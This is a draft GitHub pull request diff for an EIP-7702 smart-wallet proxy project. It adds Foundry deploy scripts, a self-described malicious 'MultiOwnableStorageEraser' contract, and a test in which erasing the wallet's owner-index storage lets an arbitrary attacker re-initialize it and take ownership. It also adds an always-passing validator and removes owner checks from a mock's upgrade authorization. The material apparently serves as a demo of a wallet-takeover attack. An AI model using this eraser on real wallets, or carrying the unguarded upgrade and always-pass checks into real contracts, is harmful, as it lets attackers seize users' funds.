Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add deploy script #53

Draft
wants to merge 5 commits into
base: main
Choose a base branch
from
Draft
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
11 changes: 0 additions & 11 deletions .env.example

This file was deleted.

45 changes: 45 additions & 0 deletions scripts/Deploy.s.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,45 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;

import {Script} from "forge-std/Script.sol";
import {console} from "forge-std/console.sol";
import {EIP7702Proxy} from "../src/EIP7702Proxy.sol";
import {NonceTracker} from "../src/NonceTracker.sol";
import {DefaultReceiver} from "../src/DefaultReceiver.sol";
import {CoinbaseSmartWallet} from "smart-wallet/CoinbaseSmartWallet.sol";
import {CoinbaseSmartWalletValidator} from "../src/validators/CoinbaseSmartWalletValidator.sol";

/**
* @notice Deploy the EIP7702Proxy contract and its dependencies.
*
* @dev Before deploying contracts, make sure dependencies have been installed at the latest or otherwise specific
* versions using `forge install [OPTIONS] [DEPENDENCIES]`.
*
* forge script scripts/Deploy.s.sol:Deploy --account odyssey-deployer --sender $SENDER --rpc-url $ODYSSEY_RPC --broadcast -vvvv
*/
contract Deploy is Script {
function run() external {
vm.startBroadcast();

// 1. Deploy core infrastructure
NonceTracker nonceTracker = new NonceTracker();
DefaultReceiver receiver = new DefaultReceiver();

// 2. Deploy implementation and validator
CoinbaseSmartWallet implementation = new CoinbaseSmartWallet();
CoinbaseSmartWalletValidator validator = new CoinbaseSmartWalletValidator(implementation);

// 3. Deploy proxy factory
EIP7702Proxy proxy = new EIP7702Proxy(address(nonceTracker), address(receiver));

vm.stopBroadcast();

// Log deployed addresses
console.log("Deployed addresses:");
console.log("NonceTracker:", address(nonceTracker));
console.log("DefaultReceiver:", address(receiver));
console.log("CoinbaseSmartWallet Implementation:", address(implementation));
console.log("CoinbaseSmartWalletValidator:", address(validator));
console.log("EIP7702Proxy:", address(proxy));
}
}
29 changes: 29 additions & 0 deletions scripts/DeployMocks.s.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;

import {Script} from "forge-std/Script.sol";
import {console} from "forge-std/console.sol";
import {MockImplementation} from "../test/mocks/MockImplementation.sol";

/**
* @notice Deploy a mock UUPSUpgradeable implementation contract.
*
* @dev Before deploying contracts, make sure dependencies have been installed at the latest or otherwise specific
* versions using `forge install [OPTIONS] [DEPENDENCIES]`.
*
* forge script scripts/DeployMocks.s.sol:DeployMocks --account odyssey-deployer --sender $SENDER --rpc-url $ODYSSEY_RPC --broadcast -vvvv
*/
contract DeployMocks is Script {
function run() external {
vm.startBroadcast();

// 1. Deploy mock implementation
MockImplementation mockImplementation = new MockImplementation();

vm.stopBroadcast();

// Log deployed addresses
console.log("Deployed addresses:");
console.log("MockImplementation:", address(mockImplementation));
}
}
26 changes: 26 additions & 0 deletions scripts/DeployPassingValidator.s.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;

import {Script} from "forge-std/Script.sol";
import {console} from "forge-std/console.sol";
import {PassingValidator} from "../src/validators/PassingValidator.sol";

/**
* @notice Deploy a passing validator contract.
*
* forge script scripts/DeployPassingValidator.s.sol:DeployPassingValidator --account odyssey-deployer --sender $SENDER --rpc-url $ODYSSEY_RPC --broadcast -vvvv
*/
contract DeployPassingValidator is Script {
function run() external {
vm.startBroadcast();

// 1. Deploy passing validator
PassingValidator passingValidator = new PassingValidator();

vm.stopBroadcast();

// Log deployed addresses
console.log("Deployed addresses:");
console.log("PassingValidator:", address(passingValidator));
}
}
26 changes: 26 additions & 0 deletions scripts/DeployStorageEraser.s.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;

import {Script} from "forge-std/Script.sol";
import {console} from "forge-std/console.sol";
import {MultiOwnableStorageEraser} from "../src/MultiOwnableStorageEraser.sol";

/**
* @notice Deploy a storage eraser contract.
*
* forge script scripts/DeployStorageEraser.s.sol:DeployStorageEraser --account odyssey-deployer --sender $SENDER --rpc-url $ODYSSEY_RPC --broadcast -vvvv
*/
contract DeployStorageEraser is Script {
function run() external {
vm.startBroadcast();

// 1. Deploy storage eraser
MultiOwnableStorageEraser multiOwnableStorageEraser = new MultiOwnableStorageEraser();

vm.stopBroadcast();

// Log deployed addresses
console.log("Deployed addresses:");
console.log("MultiOwnableStorageEraser:", address(multiOwnableStorageEraser));
}
}
25 changes: 25 additions & 0 deletions src/MultiOwnableStorageEraser.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.23;

import {UUPSUpgradeable} from "solady/utils/UUPSUpgradeable.sol";

/// @dev Malicious contract that erases critical storage slots in MultiOwnable
/// UUPSUpgradeable will allow us to use this contract in a demo and still change the ERC1967 storage slot
contract MultiOwnableStorageEraser is UUPSUpgradeable {
receive() external payable {}

// Storage slot from MultiOwnable
bytes32 private constant MULTI_OWNABLE_STORAGE_LOCATION =
0x97e2c6aad4ce5d562ebfaa00db6b9e0fb66ea5d8162ed5b243f51a2e03086f00;

function eraseNextOwnerIndexStorage() external {
// Clear the nextOwnerIndex in MultiOwnableStorage
assembly {
// The nextOwnerIndex is the first slot in the struct
let storageSlot := MULTI_OWNABLE_STORAGE_LOCATION
sstore(storageSlot, 0)
}
}

function _authorizeUpgrade(address newImplementation) internal virtual override {}
}
14 changes: 14 additions & 0 deletions src/validators/PassingValidator.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;

import {IAccountStateValidator, ACCOUNT_STATE_VALIDATION_SUCCESS} from "../interfaces/IAccountStateValidator.sol";

/// @title PassingValidator
///
/// @notice Always passes validation
contract PassingValidator is IAccountStateValidator {
/// @inheritdoc IAccountStateValidator
function validateAccountState(address account, address implementation) external view override returns (bytes4) {
return ACCOUNT_STATE_VALIDATION_SUCCESS;
}
}
138 changes: 138 additions & 0 deletions test/MultiOwnableStorageEraser.t.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,138 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.23;

import {Test} from "forge-std/Test.sol";
import {CoinbaseSmartWallet} from "../lib/smart-wallet/src/CoinbaseSmartWallet.sol";
import {EIP7702Proxy} from "../src/EIP7702Proxy.sol";
import {NonceTracker} from "../src/NonceTracker.sol";
import {DefaultReceiver} from "../src/DefaultReceiver.sol";
import {CoinbaseSmartWalletValidator} from "../src/validators/CoinbaseSmartWalletValidator.sol";
import {MultiOwnableStorageEraser} from "../src/MultiOwnableStorageEraser.sol";

contract MultiOwnableStorageEraserTest is Test {
uint256 constant _EOA_PRIVATE_KEY = 0xA11CE;
address payable _eoa;

uint256 constant _NEW_OWNER_PRIVATE_KEY = 0xB0B;
address payable _newOwner;
address payable _secondOwner;

CoinbaseSmartWallet _wallet;
CoinbaseSmartWallet _cbswImplementation;
MultiOwnableStorageEraser _eraser;

// core contracts
EIP7702Proxy _proxy;
NonceTracker _nonceTracker;
DefaultReceiver _receiver;
CoinbaseSmartWalletValidator _cbswValidator;

bytes32 _IMPLEMENTATION_SET_TYPEHASH = keccak256(
"EIP7702ProxyImplementationSet(uint256 chainId,address proxy,uint256 nonce,address currentImplementation,address newImplementation,bytes callData,address validator)"
);

function setUp() public {
// Set up test accounts
_eoa = payable(vm.addr(_EOA_PRIVATE_KEY));
_newOwner = payable(vm.addr(_NEW_OWNER_PRIVATE_KEY));
_secondOwner = payable(vm.addr(0xBEEF));

// Deploy core contracts
_cbswImplementation = new CoinbaseSmartWallet();
_nonceTracker = new NonceTracker();
_receiver = new DefaultReceiver();
_cbswValidator = new CoinbaseSmartWalletValidator(_cbswImplementation);
_eraser = new MultiOwnableStorageEraser();

// Deploy proxy with receiver and nonce tracker
_proxy = new EIP7702Proxy(address(_nonceTracker), address(_receiver));

// Get the proxy's runtime code
bytes memory proxyCode = address(_proxy).code;

// Etch the proxy code at the target address
vm.etch(_eoa, proxyCode);

// Initialize the wallet with an owner
_initializeProxy();
}

function test_eraseStorage() public {
// Verify initial state
uint256 initialNextOwnerIndex = CoinbaseSmartWallet(payable(_eoa)).nextOwnerIndex();
assertGt(initialNextOwnerIndex, 0, "Initial nextOwnerIndex should be > 0");

// Store proxy code for later
bytes memory proxyCode = address(_proxy).code;

// Get the eraser's runtime code
bytes memory eraserCode = address(_eraser).code;

// Etch the eraser code at the wallet's address
vm.etch(_eoa, eraserCode);

// Cast to eraser and call erase function
MultiOwnableStorageEraser(_eoa).eraseNextOwnerIndexStorage();

// Restore proxy code to allow delegatecall to work
vm.etch(_eoa, proxyCode);

// Verify storage was erased
assertEq(CoinbaseSmartWallet(payable(_eoa)).nextOwnerIndex(), 0, "nextOwnerIndex should be erased to 0");

// Evil new owner can initialize wallet
uint256 evilNewPrivateKey = 0xBADBADBAD;
address payable evilNewOwner = payable(vm.addr(evilNewPrivateKey));

bytes[] memory owners = new bytes[](1);
owners[0] = abi.encode(evilNewOwner);
vm.prank(evilNewOwner); // prove this call can come from whoever
CoinbaseSmartWallet(payable(_eoa)).initialize(owners);
assertTrue(CoinbaseSmartWallet(payable(_eoa)).isOwnerAddress(evilNewOwner));
}

function _initializeProxy() internal {
bytes memory initArgs = _createInitArgs(_newOwner);
bytes memory signature = _signSetImplementationData(_EOA_PRIVATE_KEY, initArgs);

EIP7702Proxy(_eoa).setImplementation(
address(_cbswImplementation),
initArgs,
address(_cbswValidator),
signature,
true // Allow cross-chain replay for tests
);

_wallet = CoinbaseSmartWallet(payable(_eoa));
}

function _createInitArgs(address owner) internal view returns (bytes memory) {
bytes[] memory owners = new bytes[](2);
owners[0] = abi.encode(owner);
owners[1] = abi.encode(_secondOwner);
bytes memory ownerArgs = abi.encode(owners);
return abi.encodePacked(CoinbaseSmartWallet.initialize.selector, ownerArgs);
}

function _signSetImplementationData(uint256 signerPk, bytes memory initArgs) internal view returns (bytes memory) {
bytes32 initHash = keccak256(
abi.encode(
_IMPLEMENTATION_SET_TYPEHASH,
0, // chainId 0 for cross-chain
_proxy,
_nonceTracker.nonces(_eoa),
_getERC1967Implementation(address(_eoa)),
address(_cbswImplementation),
keccak256(initArgs),
address(_cbswValidator)
)
);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(signerPk, initHash);
return abi.encodePacked(r, s, v);
}

function _getERC1967Implementation(address proxy) internal view returns (address) {
bytes32 slot = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
return address(uint160(uint256(vm.load(proxy, slot))));
}
}
5 changes: 3 additions & 2 deletions test/mocks/MockImplementation.sol
Original file line number Diff line number Diff line change
Expand Up @@ -2,12 +2,13 @@
pragma solidity ^0.8.23;

import {UUPSUpgradeable} from "solady/utils/UUPSUpgradeable.sol";
import {Receiver} from "solady/accounts/Receiver.sol";

/**
* @title MockImplementation
* @dev Base mock implementation for testing EIP7702Proxy
*/
contract MockImplementation is UUPSUpgradeable {
contract MockImplementation is UUPSUpgradeable, Receiver {
bytes4 constant ERC1271_MAGIC_VALUE = 0x1626ba7e;

address public owner;
Expand Down Expand Up @@ -57,7 +58,7 @@ contract MockImplementation is UUPSUpgradeable {
/**
* @dev Implementation of UUPS upgrade authorization
*/
function _authorizeUpgrade(address) internal view virtual override onlyOwner {}
function _authorizeUpgrade(address) internal view virtual override {}

/**
* @dev Mock function that returns arbitrary bytes data
Expand Down
2 changes: 1 addition & 1 deletion test/mocks/MockValidator.sol
Original file line number Diff line number Diff line change
Expand Up @@ -29,7 +29,7 @@ contract MockValidator is IAccountStateValidator {
revert InvalidImplementation(implementation);
}

bool isInitialized = MockImplementation(wallet).initialized();
bool isInitialized = MockImplementation(payable(wallet)).initialized();
if (!isInitialized) revert WalletNotInitialized();
return ACCOUNT_STATE_VALIDATION_SUCCESS;
}
Expand Down